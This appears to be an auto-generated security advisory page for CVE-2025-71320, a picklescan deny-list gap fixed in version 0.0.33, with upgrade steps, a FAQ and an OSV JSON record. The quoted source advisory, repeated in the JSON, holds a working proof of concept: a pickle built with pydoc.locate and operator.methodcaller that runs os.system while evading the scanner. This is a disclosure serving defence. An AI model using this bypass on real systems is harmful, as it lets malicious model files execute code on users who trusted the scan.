CVE-2025-71320: Picklescan Picklescan Has Incomplete List Of Vulnerability

HIGH
Advisory Identifier: GHSA-84r2-jw7c-4r5q
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CWE-184
Published
Advisory Summary

CVE-2025-71320 is a HIGH picklescan has incomplete list of vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan has incomplete list of disallowed inputs. Remediation is available by upgrading affected packages to version 0.0.33.

CVE-2025-71320 at a Glance

CVE Identifier CVE-2025-71320
GHSA Identifier GHSA-84r2-jw7c-4r5q
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-71320

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.33 
pip install picklescan>=0.0.33
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-71320, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

CVE-2025-71320 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.33
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
pypi/picklescan
PyPI
< 0.0.33
0.0.33

References

GitHub Advisory / Wiki ADVISORY
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q
NVD — CVE-2025-71320 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-71320
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan/pull/53
Security Fix Commit FIX COMMIT
https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan
Picklescan Release RELEASE
https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
www.vulncheck.com/advisories/picklesc... WEB
https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs

Frequently Asked Questions

What is CVE-2025-71320?
CVE-2025-71320 is a security vulnerability in Picklescan involving Picklescan has Incomplete List of Disallowed Inputs under CWE-184: Incomplete List of Disallowed Inputs.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.33 across affected packages: picklescan.
What version fixes CVE-2025-71320?
Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.
What CWE is associated with CVE-2025-71320?
CVE-2025-71320 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for CVE-2025-71320?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-84r2-jw7c-4r5q",
  "modified" : "2026-06-18T14:40:37Z",
  "published" : "2025-12-29T15:24:20Z",
  "aliases" : [ "CVE-2025-71320" ],
  "summary" : "Picklescan has Incomplete List of Disallowed Inputs",
  "details" : "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n    def __init__(self, module_name):\n        self.module_name = module_name\n        \n    def __reduce__(self):\n        return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n    def __reduce__(self):\n        \n        cmd = \"notepad\" #put your payload here\n        \n        mc = operator.methodcaller(\"system\", cmd)\n        return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n    payload = RCEPayload()\n    \n    try:\n        with open(\"bypass.pkl\", \"wb\") as f:\n            f.write(pickle.dumps(payload))\n        print(\"File 'bypass.pkl' created.\")\n    except Exception as e:\n        print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n<img width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" />\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71320"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-29T15:24:20Z",
    "nvd_published_at" : null
  }
}